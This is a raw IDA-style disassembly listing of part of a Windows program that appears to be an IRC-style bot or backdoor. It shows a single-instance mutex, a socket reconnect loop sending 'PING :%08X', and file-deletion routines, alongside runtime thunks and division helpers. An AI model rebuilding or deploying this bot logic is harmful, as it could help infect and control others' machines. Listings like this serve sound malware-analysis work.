		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DE30


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DA10
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	dword ptr [ebp-4], 0
		push	dword_41DA54
		push	dword_41DA50
		push	3B6h
		push	dword_41DA4C
		push	0
		push	dword_41DA48
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: .data:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: .data:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: .data:0041687Cj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: .data:004168ACj
					; .data:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: .data:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DA48
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA48
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA48
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41EC30, eax
		call	sub_410422
		mov	dword_41EC34, eax
		call	sub_410422
		mov	dword_41EC38, eax
		call	sub_410422
		mov	dword_41EC3C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DE30
		push	offset dword_41EB2C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: .data:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: .data:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: .data:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DE30
		push	offset dword_41EB2C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: .data:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset dword_41EB2C
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EB2C
		push	offset dword_41EC40
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: .data:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: .data:0041695Cj
					; .data:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup


loc_4169F8:				; CODE XREF: .data:00416A43j
					; .data:00416AA7j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0


loc_416A19:				; CODE XREF: .data:00416AE2j
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: .data:loc_416A6Fj
					; .data:00416AC0j
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: .data:00416A3Dj
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: .data:00416A4Cj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: .data:00416A60j
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: .data:00416A34j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: .data:00416A98j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: .data:00416AA1j
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416AC5:				; DATA XREF: .data:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_416ADB:				; DATA XREF: .data:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DE38, 0
		jz	short loc_416B1E
		push	offset dword_41DD54
		push	offset dword_41DAB4
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: .data:00416B0Bj
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; .data:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: .data:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

